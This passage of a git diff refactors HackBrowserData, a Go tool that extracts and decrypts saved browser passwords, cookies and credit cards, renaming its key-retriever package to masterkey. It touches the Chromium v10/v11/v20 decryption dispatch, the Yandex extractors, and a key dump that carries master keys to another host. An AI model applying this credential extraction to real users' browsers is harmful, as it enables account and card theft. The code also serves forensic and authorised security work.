[]byte("fake-v11-key"), keys.V11, "V11 slot must be populated") - assert.Equal(t, []byte("fake-v20-key"), keys.V20, "V20 slot must be populated") + mk := b.masterKeys() + assert.Equal(t, []byte("fake-v10-key"), mk.V10, "V10 slot must be populated") + assert.Equal(t, []byte("fake-v11-key"), mk.V11, "V11 slot must be populated") + assert.Equal(t, []byte("fake-v20-key"), mk.V20, "V20 slot must be populated") assert.True(t, v10mock.called, "V10 retriever must be called — no silent bypass") assert.True(t, v11mock.called, "V11 retriever must be called — no silent bypass") assert.True(t, v20mock.called, "V20 retriever must be called — no silent bypass") @@ -521,7 +521,7 @@ func TestGetMasterKeys_WindowsABEThreading(t *testing.T) { require.NoError(t, err) require.NotNil(t, b) - b.SetKeyRetrievers(keyretriever.Retrievers{V20: mock}) + b.SetRetrievers(masterkey.Retrievers{V20: mock}) b.masterKeys() assert.Equal(t, tt.wantABEKey, mock.hints.WindowsABEKey) @@ -540,8 +540,8 @@ func TestExtract(t *testing.T) { tests := []struct { name string - retriever keyretriever.KeyRetriever // nil → don't call SetRetriever - wantRetriever bool // whether retriever should be called + retriever masterkey.Retriever // nil → don't call SetRetriever + wantRetriever bool // whether retriever should be called }{ { name: "without retriever extracts unencrypted data", @@ -562,7 +562,7 @@ func TestExtract(t *testing.T) { require.NotNil(t, b) if tt.retriever != nil { - b.SetKeyRetrievers(keyretriever.Retrievers{V10: tt.retriever}) + b.SetRetrievers(masterkey.Retrievers{V10: tt.retriever}) } results, err := b.Extract([]types.Category{types.History}) @@ -629,13 +629,13 @@ func TestCountEntries_NoRetrieverNeeded(t *testing.T) { } // --------------------------------------------------------------------------- -// SetKeyRetrievers: verify *Browser satisfies the interface used by -// browser.pickFromConfigs for post-construction retriever injection. +// SetRetrievers: verify *Browser satisfies the interface used by +// browser.discoverFromConfigs for post-construction retriever injection. // --------------------------------------------------------------------------- -func TestSetKeyRetrievers_SatisfiesInterface(t *testing.T) { +func TestSetRetrievers_SatisfiesInterface(t *testing.T) { var _ interface { - SetKeyRetrievers(keyretriever.Retrievers) + SetRetrievers(masterkey.Retrievers) } = (*Browser)(nil) } diff --git a/browser/chromium/decrypt.go b/browser/chromium/decrypt.go index 69b6702..1d77905 100644 --- a/browser/chromium/decrypt.go +++ b/browser/chromium/decrypt.go @@ -4,21 +4,21 @@ import ( "fmt" "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" ) // decryptValue decrypts a Chromium-encrypted value by dispatching on the ciphertext's version -// prefix to the matching tier in keys: +// prefix to the matching tier in masterKeys: // -// - v10 → keys.V10 (Windows DPAPI / macOS Keychain / Linux peanuts kV10Key) -// - v11 → keys.V11 (Linux keyring kV11Key; nil on Windows/macOS — Chromium doesn't emit v11 there) -// - v20 → keys.V20 (Windows ABE; nil on non-Windows — Chromium doesn't emit v20 there) +// - v10 → masterKeys.V10 (Windows DPAPI / macOS Keychain / Linux peanuts kV10Key) +// - v11 → masterKeys.V11 (Linux keyring kV11Key; nil on Windows/macOS — Chromium doesn't emit v11 there) +// - v20 → masterKeys.V20 (Windows ABE; nil on non-Windows — Chromium doesn't emit v20 there) // // A single profile can carry mixed prefixes (Chrome 127+ upgrades on Windows; Linux session-mode // changes), so every applicable key must be populated upstream for lossless extraction. Missing // tier keys surface as decrypt errors at the ciphertext level; the extract layer treats those as // empty plaintexts rather than fatal errors. -func decryptValue(keys keyretriever.MasterKeys, ciphertext []byte) ([]byte, error) { +func decryptValue(masterKeys masterkey.MasterKeys, ciphertext []byte) ([]byte, error) { if len(ciphertext) == 0 { return nil, nil } @@ -26,16 +26,16 @@ func decryptValue(keys keyretriever.MasterKeys, ciphertext []byte) ([]byte, erro version := crypto.DetectVersion(ciphertext) switch version { case crypto.CipherV10: - return crypto.DecryptChromium(keys.V10, ciphertext) + return crypto.DecryptChromium(masterKeys.V10, ciphertext) case crypto.CipherV11: // v11 is Linux-only and shares v10's AES-CBC path, but uses the keyring-derived kV11Key // rather than the peanuts-derived kV10Key — so a Linux profile with both prefixes needs // distinct per-tier keys to decrypt everything. - return crypto.DecryptChromium(keys.V11, ciphertext) + return crypto.DecryptChromium(masterKeys.V11, ciphertext) case crypto.CipherV20: // v20 is cross-platform AES-GCM; routed through a dedicated function so Linux/macOS CI can // exercise the same decryption path as Windows. - return crypto.DecryptChromiumV20(keys.V20, ciphertext) + return crypto.DecryptChromiumV20(masterKeys.V20, ciphertext) case crypto.CipherV12: // Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) — HKDF-SHA256 + // AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop. Recognized here diff --git a/browser/chromium/decrypt_mixed_test.go b/browser/chromium/decrypt_mixed_test.go index 4c7391f..23885af 100644 --- a/browser/chromium/decrypt_mixed_test.go +++ b/browser/chromium/decrypt_mixed_test.go @@ -8,7 +8,7 @@ import ( "github.com/stretchr/testify/require" "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" ) // TestDecryptValue_MixedTier is the regression test for mixed-cipher profiles (issue #578 on @@ -33,7 +33,7 @@ func TestDecryptValue_MixedTier(t *testing.T) { v20Ciphertext := append([]byte("v20"), append(nonce, gcmEnc...)...) t.Run("all tiers populated: v20 picks V20, decrypts", func(t *testing.T) { - got, err := decryptValue(keyretriever.MasterKeys{V10: k10, V11: k11, V20: k20}, v20Ciphertext) + got, err := decryptValue(masterkey.MasterKeys{V10: k10, V11: k11, V20: k20}, v20Ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) }) @@ -41,20 +41,20 @@ func TestDecryptValue_MixedTier(t *testing.T) { t.Run("V20 holds wrong key: v20 still picks V20 slot (not V10/V11), errors", func(t *testing.T) { // If the dispatcher incorrectly fell back to V10 or V11 when V20 had a wrong key, this // would succeed. Proves the router uses prefix-based selection, not first-usable-key. - _, err := decryptValue(keyretriever.MasterKeys{V10: k20, V11: k20, V20: k10}, v20Ciphertext) + _, err := decryptValue(masterkey.MasterKeys{V10: k20, V11: k20, V20: k10}, v20Ciphertext) require.Error(t, err) }) t.Run("only V20 populated: v20 still decrypts", func(t *testing.T) { // The pre-#578 symmetric regression: when DPAPI/keyring failed and only V20 was retrieved, // v20 cookies had to still decrypt. This asserts V10 and V11 being nil doesn't block v20. - got, err := decryptValue(keyretriever.MasterKeys{V20: k20}, v20Ciphertext) + got, err := decryptValue(masterkey.MasterKeys{V20: k20}, v20Ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) }) t.Run("V20 slot unpopulated: v20 errors (no key to use)", func(t *testing.T) { - _, err := decryptValue(keyretriever.MasterKeys{V10: k10, V11: k11}, v20Ciphertext) + _, err := decryptValue(masterkey.MasterKeys{V10: k10, V11: k11}, v20Ciphertext) require.Error(t, err) }) } diff --git a/browser/chromium/decrypt_test.go b/browser/chromium/decrypt_test.go index 440708f..03eb0e9 100644 --- a/browser/chromium/decrypt_test.go +++ b/browser/chromium/decrypt_test.go @@ -10,7 +10,7 @@ import ( "github.com/stretchr/testify/require" "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" ) func TestDecryptValue_V10(t *testing.T) { @@ -40,7 +40,7 @@ func TestDecryptValue_V10(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - got, err := decryptValue(keyretriever.MasterKeys{V10: tt.key}, v10Ciphertext) + got, err := decryptValue(masterkey.MasterKeys{V10: tt.key}, v10Ciphertext) if tt.wantErrMsg != "" { require.Error(t, err) assert.Contains(t, err.Error(), tt.wantErrMsg) @@ -61,7 +61,7 @@ func TestDecryptValue_V11(t *testing.T) { v11Ciphertext := append([]byte("v11"), cbcEncrypted...) // v11 ciphertexts route to the V11 slot (Linux's keyring-derived kV11Key) — not V10 (peanuts). - got, err := decryptValue(keyretriever.MasterKeys{V11: testAESKey}, v11Ciphertext) + got, err := decryptValue(masterkey.MasterKeys{V11: testAESKey}, v11Ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) } @@ -87,22 +87,22 @@ func TestDecryptValue_V10_V11_SlotSeparation(t *testing.T) { require.NoError(t, err) v11Ciphertext := append([]byte("v11"), v11Enc...) - keys := keyretriever.MasterKeys{V10: k10, V11: k11} + mk := masterkey.MasterKeys{V10: k10, V11: k11} t.Run("v10 ciphertext decrypts via V10 slot", func(t *testing.T) { - got, err := decryptValue(keys, v10Ciphertext) + got, err := decryptValue(mk, v10Ciphertext) require.NoError(t, err) assert.Equal(t, v10plain, got) }) t.Run("v11 ciphertext decrypts via V11 slot", func(t *testing.T) { - got, err := decryptValue(keys, v11Ciphertext) + got, err := decryptValue(mk, v11Ciphertext) require.NoError(t, err) assert.Equal(t, v11plain, got) }) t.Run("swapped keys fail both directions", func(t *testing.T) { - swapped := keyretriever.MasterKeys{V10: k11, V11: k10} + swapped := masterkey.MasterKeys{V10: k11, V11: k10} _, err := decryptValue(swapped, v10Ciphertext) require.Error(t, err, "v10 with V11's key must fail") _, err = decryptValue(swapped, v11Ciphertext) diff --git a/browser/chromium/decrypt_v20_test.go b/browser/chromium/decrypt_v20_test.go index afc5eb0..546ff10 100644 --- a/browser/chromium/decrypt_v20_test.go +++ b/browser/chromium/decrypt_v20_test.go @@ -7,7 +7,7 @@ import ( "github.com/stretchr/testify/require" "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" ) // TestDecryptValue_V20 is cross-platform because v20's ciphertext format @@ -24,13 +24,13 @@ func TestDecryptValue_V20(t *testing.T) { // v20 layout: "v20" (3B) + nonce (12B) + ciphertext+tag ciphertext := append([]byte("v20"), append(nonce, gcm...)...) - got, err := decryptValue(keyretriever.MasterKeys{V20: testAESKey}, ciphertext) + got, err := decryptValue(masterkey.MasterKeys{V20: testAESKey}, ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) } func TestDecryptValue_V20_ShortCiphertext(t *testing.T) { // Missing nonce (prefix only) must error, not panic. - _, err := decryptValue(keyretriever.MasterKeys{V20: testAESKey}, []byte("v20")) + _, err := decryptValue(masterkey.MasterKeys{V20: testAESKey}, []byte("v20")) require.Error(t, err) } diff --git a/browser/chromium/decrypt_windows_test.go b/browser/chromium/decrypt_windows_test.go index 70b533e..f2a4d5f 100644 --- a/browser/chromium/decrypt_windows_test.go +++ b/browser/chromium/decrypt_windows_test.go @@ -12,7 +12,7 @@ import ( "github.com/stretchr/testify/require" "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" ) // encryptWithDPAPI encrypts data using Windows DPAPI (CryptProtectData). @@ -64,7 +64,7 @@ func TestDecryptValue_V10_Windows(t *testing.T) { // v10 format on Windows: "v10" + nonce(12) + encrypted ciphertext := append([]byte("v10"), append(nonce, gcmEncrypted...)...) - got, err := decryptValue(keyretriever.MasterKeys{V10: testAESKey}, ciphertext) + got, err := decryptValue(masterkey.MasterKeys{V10: testAESKey}, ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) } @@ -78,7 +78,7 @@ func TestDecryptValue_DPAPI_Windows(t *testing.T) { require.NotEmpty(t, encrypted) // No v10/v20 prefix → decryptValue routes to DPAPI path; no per-tier key needed. - got, err := decryptValue(keyretriever.MasterKeys{}, encrypted) + got, err := decryptValue(masterkey.MasterKeys{}, encrypted) require.NoError(t, err) assert.Equal(t, plaintext, got) } diff --git a/browser/chromium/extract_cookie.go b/browser/chromium/extract_cookie.go index 2b2ee36..4f2c04e 100644 --- a/browser/chromium/extract_cookie.go +++ b/browser/chromium/extract_cookie.go @@ -6,7 +6,7 @@ import ( "database/sql" "sort" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/utils/sqliteutil" ) @@ -18,7 +18,7 @@ const ( countCookieQuery = `SELECT COUNT(*) FROM cookies` ) -func extractCookies(keys keyretriever.MasterKeys, path string) ([]types.CookieEntry, error) { +func extractCookies(masterKeys masterkey.MasterKeys, path string) ([]types.CookieEntry, error) { cookies, err := sqliteutil.QueryRows(path, false, defaultCookieQuery, func(rows *sql.Rows) (types.CookieEntry, error) { var ( @@ -34,7 +34,7 @@ func extractCookies(keys keyretriever.MasterKeys, path string) ([]types.CookieEn return types.CookieEntry{}, err } - value, _ := decryptValue(keys, encryptedValue) + value, _ := decryptValue(masterKeys, encryptedValue) value = stripCookieHash(value, host) return types.CookieEntry{ Name: name, diff --git a/browser/chromium/extract_cookie_test.go b/browser/chromium/extract_cookie_test.go index 581523b..a179166 100644 --- a/browser/chromium/extract_cookie_test.go +++ b/browser/chromium/extract_cookie_test.go @@ -7,7 +7,7 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" ) func setupCookieDB(t *testing.T) string { @@ -21,7 +21,7 @@ func setupCookieDB(t *testing.T) string { func TestExtractCookies(t *testing.T) { path := setupCookieDB(t) - got, err := extractCookies(keyretriever.MasterKeys{}, path) + got, err := extractCookies(masterkey.MasterKeys{}, path) require.NoError(t, err) require.Len(t, got, 2) diff --git a/browser/chromium/extract_creditcard.go b/browser/chromium/extract_creditcard.go index d4374c9..62bb1ea 100644 --- a/browser/chromium/extract_creditcard.go +++ b/browser/chromium/extract_creditcard.go @@ -6,8 +6,8 @@ import ( "errors" "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/utils/sqliteutil" ) @@ -36,7 +36,7 @@ type yandexPrivateData struct { SecretComment string `json:"secret_comment"` } -func extractCreditCards(keys keyretriever.MasterKeys, path string) ([]types.CreditCardEntry, error) { +func extractCreditCards(masterKeys masterkey.MasterKeys, path string) ([]types.CreditCardEntry, error) { cards, err := sqliteutil.QueryRows(path, false, defaultCreditCardQuery, func(rows *sql.Rows) (types.CreditCardEntry, error) { var guid, name, month, year, nickname, address string @@ -44,7 +44,7 @@ func extractCreditCards(keys keyretriever.MasterKeys, path string) ([]types.Cred if err := rows.Scan(&guid, &name, &month, &year, &encNumber, &nickname, &address); err != nil { return types.CreditCardEntry{}, err } - number, _ := decryptValue(keys, encNumber) + number, _ := decryptValue(masterKeys, encNumber) return types.CreditCardEntry{ GUID: guid, Name: name, @@ -62,8 +62,8 @@ func extractCreditCards(keys keyretriever.MasterKeys, path string) ([]types.Cred } // extractYandexCreditCards reads the records table (not Chromium's credit_cards). AAD = guid. See RFC-012 §4. -func extractYandexCreditCards(keys keyretriever.MasterKeys, path string) ([]types.CreditCardEntry, error) { - dataKey, err := loadYandexDataKey(path, keys.V10) +func extractYandexCreditCards(masterKeys masterkey.MasterKeys, path string) ([]types.CreditCardEntry, error) { + dataKey, err := loadYandexDataKey(path, masterKeys.V10) if err != nil { if errors.Is(err, errYandexMasterPasswordSet) { log.Warnf("%s: %v", path, err) diff --git a/browser/chromium/extract_creditcard_test.go b/browser/chromium/extract_creditcard_test.go index 846baa7..0dff488 100644 --- a/browser/chromium/extract_creditcard_test.go +++ b/browser/chromium/extract_creditcard_test.go @@ -7,7 +7,7 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" ) func setupCreditCardDB(t *testing.T) string { @@ -21,7 +21,7 @@ func setupCreditCardDB(t *testing.T) string { func TestExtractCreditCards(t *testing.T) { path := setupCreditCardDB(t) - got, err := extractCreditCards(keyretriever.MasterKeys{}, path) + got, err := extractCreditCards(masterkey.MasterKeys{}, path) require.NoError(t, err) require.Len(t, got, 2) @@ -80,7 +80,7 @@ func TestExtractYandexCreditCards(t *testing.T) { }, ) - got, err := extractYandexCreditCards(keyretriever.MasterKeys{V10: masterKey}, path) + got, err := extractYandexCreditCards(masterkey.MasterKeys{V10: masterKey}, path) require.NoError(t, err) require.Len(t, got, 2) @@ -128,7 +128,7 @@ func TestExtractYandexCreditCards_WrongMasterKey(t *testing.T) { yandexCreditCard{GUID: "g1", FullCardNumber: "4111"}, ) - _, err := extractYandexCreditCards(keyretriever.MasterKeys{V10: wrongKey}, path) + _, err := extractYandexCreditCards(masterkey.MasterKeys{V10: wrongKey}, path) require.Error(t, err) } diff --git a/browser/chromium/extract_password.go b/browser/chromium/extract_password.go index 8a58f13..4e40658 100644 --- a/browser/chromium/extract_password.go +++ b/browser/chromium/extract_password.go @@ -6,8 +6,8 @@ import ( "sort" "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/utils/sqliteutil" ) @@ -20,11 +20,11 @@ const ( password_element, password_value, signon_realm, date_created FROM logins` ) -func extractPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) { - return extractPasswordsWithQuery(keys, path, defaultLoginQuery) +func extractPasswords(masterKeys masterkey.MasterKeys, path string) ([]types.LoginEntry, error) { + return extractPasswordsWithQuery(masterKeys, path, defaultLoginQuery) } -func extractPasswordsWithQuery(keys keyretriever.MasterKeys, path, query string) ([]types.LoginEntry, error) { +func extractPasswordsWithQuery(masterKeys masterkey.MasterKeys, path, query string) ([]types.LoginEntry, error) { logins, err := sqliteutil.QueryRows(path, false, query, func(rows *sql.Rows) (types.LoginEntry, error) { var url, username string @@ -33,7 +33,7 @@ func extractPasswordsWithQuery(keys keyretriever.MasterKeys, path, query string) if err := rows.Scan(&url, &username, &pwd, &created); err != nil { return types.LoginEntry{}, err } - password, _ := decryptValue(keys, pwd) + password, _ := decryptValue(masterKeys, pwd) return types.LoginEntry{ URL: url, Username: username, @@ -53,8 +53,8 @@ func extractPasswordsWithQuery(keys keyretriever.MasterKeys, path, query string) // extractYandexPasswords walks Ya Passman Data; protocol in RFC-012 §4. // Note: URL column is origin_url — it's what the per-row AAD is computed over (not action_url). -func extractYandexPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) { - dataKey, err := loadYandexDataKey(path, keys.V10) +func extractYandexPasswords(masterKeys masterkey.MasterKeys, path string) ([]types.LoginEntry, error) { + dataKey, err := loadYandexDataKey(path, masterKeys.V10) if err != nil { if errors.Is(err, errYandexMasterPasswordSet) { log.Warnf("%s: %v", path, err) diff --git a/browser/chromium/extract_password_test.go b/browser/chromium/extract_password_test.go index 42ad9ea..8d62711 100644 --- a/browser/chromium/extract_password_test.go +++ b/browser/chromium/extract_password_test.go @@ -8,7 +8,7 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" ) func setupLoginDB(t *testing.T) string { @@ -22,7 +22,7 @@ func setupLoginDB(t *testing.T) string { func TestExtractPasswords(t *testing.T) { path := setupLoginDB(t) - got, err := extractPasswords(keyretriever.MasterKeys{}, path) + got, err := extractPasswords(masterkey.MasterKeys{}, path) require.NoError(t, err) require.Len(t, got, 2) @@ -70,7 +70,7 @@ func TestExtractYandexPasswords(t *testing.T) { }, ) - got, err := extractYandexPasswords(keyretriever.MasterKeys{V10: masterKey}, path) + got, err := extractYandexPasswords(masterkey.MasterKeys{V10: masterKey}, path) require.NoError(t, err) require.Len(t, got, 2) @@ -93,7 +93,7 @@ func TestExtractYandexPasswords_MasterPasswordSkipped(t *testing.T) { }, ) - got, err := extractYandexPasswords(keyretriever.MasterKeys{V10: masterKey}, path) + got, err := extractYandexPasswords(masterkey.MasterKeys{V10: masterKey}, path) require.NoError(t, err) assert.Empty(t, got, "master-password profiles should be skipped in v1") } @@ -112,7 +112,7 @@ func TestExtractYandexPasswords_WrongMasterKey(t *testing.T) { // A wrong master key fails at the intermediate step, surfacing as an error // from the extractor. - _, err := extractYandexPasswords(keyretriever.MasterKeys{V10: wrongKey}, path) + _, err := extractYandexPasswords(masterkey.MasterKeys{V10: wrongKey}, path) require.Error(t, err) } diff --git a/browser/chromium/profile.go b/browser/chromium/profile.go index f0976cb..8f3d67b 100644 --- a/browser/chromium/profile.go +++ b/browser/chromium/profile.go @@ -3,9 +3,9 @@ package chromium import ( "path/filepath" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/filemanager" "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -30,7 +30,7 @@ func (p *profile) label() string { return p.browserName + "/" + p.name() } // extract copies the profile's source files to a temp directory and extracts the // requested categories, decrypting with the installation's master keys. -func (p *profile) extract(keys keyretriever.MasterKeys, categories []types.Category) *types.BrowserData { +func (p *profile) extract(masterKeys masterkey.MasterKeys, categories []types.Category) *types.BrowserData { session, err := filemanager.NewSession() if err != nil { log.Debugf("new session for %s: %v", p.label(), err) @@ -45,7 +45,7 @@ func (p *profile) extract(keys keyretriever.MasterKeys, categories []types.Categ if !ok { continue } - p.extractCategory(data, cat, keys, path) + p.extractCategory(data, cat, masterKeys, path) } return data } @@ -91,9 +91,9 @@ func (p *profile) acquireFiles(session *filemanager.Session, categories []types. // extractCategory calls the appropriate extract function for a category. A custom // extractor (registered via extractorsForKind) takes precedence over the switch. -func (p *profile) extractCategory(data *types.BrowserData, cat types.Category, keys keyretriever.MasterKeys, path string) { +func (p *profile) extractCategory(data *types.BrowserData, cat types.Category, masterKeys masterkey.MasterKeys, path string) { if ext, ok := p.extractors[cat]; ok { - if err := ext.extract(keys, path, data); err != nil { + if err := ext.extract(masterKeys, path, data); err != nil { log.Debugf("extract %s for %s: %v", cat, p.label(), err) } return @@ -102,9 +102,9 @@ func (p *profile) extractCategory(data *types.BrowserData, cat types.Category, k var err error switch cat { case types.Password: - data.Passwords, err = extractPasswords(keys, path) + data.Passwords, err = extractPasswords(masterKeys, path) case types.Cookie: - data.Cookies, err = extractCookies(keys, path) + data.Cookies, err = extractCookies(masterKeys, path) case types.History: data.Histories, err = extractHistories(path) case types.Download: @@ -112,7 +112,7 @@ func (p *profile) extractCategory(data *types.BrowserData, cat types.Category, k case types.Bookmark: data.Bookmarks, err = extractBookmarks(path) case types.CreditCard: - data.CreditCards, err = extractCreditCards(keys, path) + data.CreditCards, err = extractCreditCards(masterKeys, path) case types.Extension: data.Extensions, err = extractExtensions(path) case types.LocalStorage: diff --git a/browser/chromium/profile_test.go b/browser/chromium/profile_test.go index 725a984..fdfdab1 100644 --- a/browser/chromium/profile_test.go +++ b/browser/chromium/profile_test.go @@ -8,8 +8,8 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/filemanager" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -32,7 +32,7 @@ func TestExtractCategory_CustomExtractor(t *testing.T) { } data := &types.BrowserData{} - p.extractCategory(data, types.Extension, keyretriever.MasterKeys{}, "unused-path") + p.extractCategory(data, types.Extension, masterkey.MasterKeys{}, "unused-path") assert.True(t, called, "custom extractor should be called") require.Len(t, data.Extensions, 1) @@ -51,7 +51,7 @@ func TestExtractCategory_DefaultFallback(t *testing.T) { } data := &types.BrowserData{} - p.extractCategory(data, types.History, keyretriever.MasterKeys{}, path) + p.extractCategory(data, types.History, masterkey.MasterKeys{}, path) require.Len(t, data.Histories, 1) assert.Equal(t, "Example", data.Histories[0].Title) diff --git a/browser/chromium/source.go b/browser/chromium/source.go index acc7f3e..5c5baff 100644 --- a/browser/chromium/source.go +++ b/browser/chromium/source.go @@ -3,7 +3,7 @@ package chromium import ( "path/filepath" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -51,17 +51,17 @@ func sourcesForKind(kind types.BrowserKind) map[types.Category][]sourcePath { // switch logic, enabling browser-specific parsing (e.g. Opera's opsettings // for extensions, Yandex's credit card table, QBCI-encrypted bookmarks). type categoryExtractor interface { - extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error + extract(masterKeys masterkey.MasterKeys, path string, data *types.BrowserData) error } // passwordExtractor wraps a custom password extract function. type passwordExtractor struct { - fn func(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) + fn func(masterKeys masterkey.MasterKeys, path string) ([]types.LoginEntry, error) } -func (e passwordExtractor) extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error { +func (e passwordExtractor) extract(masterKeys masterkey.MasterKeys, path string, data *types.BrowserData) error { var err error - data.Passwords, err = e.fn(keys, path) + data.Passwords, err = e.fn(masterKeys, path) return err } @@ -70,7 +70,7 @@ type extensionExtractor struct { fn func(path string) ([]types.ExtensionEntry, error) } -func (e extensionExtractor) extract(_ keyretriever.MasterKeys, path string, data *types.BrowserData) error { +func (e extensionExtractor) extract(_ masterkey.MasterKeys, path string, data *types.BrowserData) error { var err error data.Extensions, err = e.fn(path) return err @@ -79,12 +79,12 @@ func (e extensionExtractor) extract(_ keyretriever.MasterKeys, path string, data // creditCardExtractor wraps a custom credit-card extract function, used by Yandex whose Ya Credit Cards DB stores // rows as records(guid, public_data, private_data) with JSON blobs rather than Chromium's flat credit_cards table. type creditCardExtractor struct { - fn func(keys keyretriever.MasterKeys, path string) ([]types.CreditCardEntry, error) + fn func(masterKeys masterkey.MasterKeys, path string) ([]types.CreditCardEntry, error) } -func (e creditCardExtractor) extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error { +func (e creditCardExtractor) extract(masterKeys masterkey.MasterKeys, path string, data *types.BrowserData) error { var err error - data.CreditCards, err = e.fn(keys, path) + data.CreditCards, err = e.fn(masterKeys, path) return err } diff --git a/browser/keydump.go b/browser/keydump.go index 82b12e9..3e9c136 100644 --- a/browser/keydump.go +++ b/browser/keydump.go @@ -3,39 +3,36 @@ package browser import ( "runtime" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/masterkey" ) -// BuildDump exports per-installation master keys. Each Browser is one installation, -// so this is a straight one-Vault-per-installation map: ExportKeys is invoked once -// per installation. Installations without KeyManager (Firefox/Safari) are skipped. -// Partial results (e.g. V10 retrieved, V20 failed) keep the usable tiers rather than -// discarding the vault — a Chrome 127+ profile mixes v10 + v20 ciphertexts and a -// v20-only failure must not erase a usable v10 key. -func BuildDump(browsers []Browser) keyretriever.Dump { - dump := keyretriever.NewDump() +// BuildDump exports one Vault per installation (Firefox/Safari, lacking KeyManager, are skipped). +// Partial results are kept — a Chrome 127+ profile mixes v10+v20, so a v20-only failure must not +// discard a usable v10 key. +func BuildDump(browsers []Browser) masterkey.Dump { + dump := masterkey.NewDump() for _, b := range browsers { km, ok := b.(KeyManager) if !ok { continue } - keys, err := km.ExportKeys() + mk, err := km.ExportKeys() if err != nil { status := "partial" - if !keys.HasAny() { + if !mk.HasAny() { status = "failed" } log.Warnf("dump-keys: %s %s: %v", b.BrowserName(), status, err) } - if !keys.HasAny() { + if !mk.HasAny() { continue } - dump.Vaults = append(dump.Vaults, keyretriever.Vault{ + dump.Vaults = append(dump.Vaults, masterkey.Vault{ Browser: b.BrowserName(), UserDataDir: b.UserDataDir(), Profiles: profileNames(b), - Keys: keys, + Keys: mk, }) } return dump @@ -50,21 +47,17 @@ func profileNames(b Browser) []string { return names } -// ApplyDump installs master keys from dump onto matching installations, replacing -// each installation's default platform-native retrievers with StaticProviders -// backed by the Dump's bytes. Matching is by (BrowserName, UserDataDir) — the same -// key BuildDump emits. When exact match fails (commonly a cross-host path mismatch: -// Windows backslash vs POSIX, or a relocated User Data dir via -p), falls back to -// the sole vault for that browser name when one exists. Installations without a -// matching vault are warned and left untouched; non-KeyManager installations -// (Firefox/Safari) are skipped silently. -func ApplyDump(browsers []Browser, dump keyretriever.Dump) { +// ApplyDump overlays StaticRetrievers from dump onto matching installations (Firefox/Safari skipped). +// Match is by (BrowserName, UserDataDir); on miss — commonly a cross-host path mismatch (Windows vs +// POSIX, or a relocated dir via -p) — it falls back to the sole vault for that browser name. No match +// → warn and leave the platform retrievers in place. +func ApplyDump(browsers []Browser, dump masterkey.Dump) { if dump.Host.OS != "" && dump.Host.OS != runtime.GOOS { log.Infof("apply-keys: dump created on %s/%s; current host is %s/%s", dump.Host.OS, dump.Host.Arch, runtime.GOOS, runtime.GOARCH) } - vaultIndex := make(map[string]*keyretriever.Vault, len(dump.Vaults)) - vaultsByBrowser := make(map[string][]*keyretriever.Vault) + vaultIndex := make(map[string]*masterkey.Vault, len(dump.Vaults)) + vaultsByBrowser := make(map[string][]*masterkey.Vault) for i := range dump.Vaults { v := &dump.Vaults[i] vaultIndex[v.Browser+"|"+v.UserDataDir] = v @@ -88,19 +81,19 @@ func ApplyDump(browsers []Browser, dump keyretriever.Dump) { log.Warnf("apply-keys: %s no matching vault in dump", b.BrowserName()) continue } - 